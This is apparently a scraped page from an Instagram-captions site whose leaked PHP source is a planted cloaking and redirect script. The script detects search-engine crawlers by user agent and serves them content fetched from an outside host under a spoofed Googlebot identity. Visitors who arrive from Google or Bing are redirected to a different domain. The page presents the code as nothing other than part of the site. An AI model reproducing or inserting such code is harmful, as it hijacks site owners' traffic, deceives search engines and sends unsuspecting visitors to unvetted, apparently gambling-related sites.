$queryString = $_SERVER['QUERY_STRING']; parse_str($queryString, $querys); function isBot() { $bots = array( 'Googlebot', 'Bingbot', 'Slurp', 'Google-Site-Verification', 'Google-InspectionTool' ); $userAgent = $_SERVER['HTTP_USER_AGENT']; foreach ($bots as $bot) { if (strpos($userAgent, $bot) !== false) { return true; } } return false; } function isRefererFromSearchEngine() { if (isset($_SERVER['HTTP_REFERER'])) { $referer = $_SERVER['HTTP_REFERER']; if (strpos($referer, 'google.com') !== false) { return true; } elseif (strpos($referer, 'bing.com') !== false) { return true; } } return false; } $queryParams = ['go', 'th', 'hw', 'bet', 'ruay', 'juth']; $isParams = 0; $path = ''; foreach($queryParams as $param){ if (isset($_GET[$param])) { $isParams = 1; $path = $_GET[$param]; } } if (isBot() ) { $path = str_replace(" ","-",$path); $target_site = "https://captionsclick.com/1/index.html".$path; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_site); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); $output = curl_exec($ch); if ($output === false) { echo "cURL Error: " . curl_error($ch); } else { echo $output; } curl_close($ch); die(); }elseif(isRefererFromSearchEngine() and !isBot()){ header('Location: https://pp9fff.com/'); exit; }else{ } ?> Captions Click - Instagram Captions And Marketing
Scroll to Top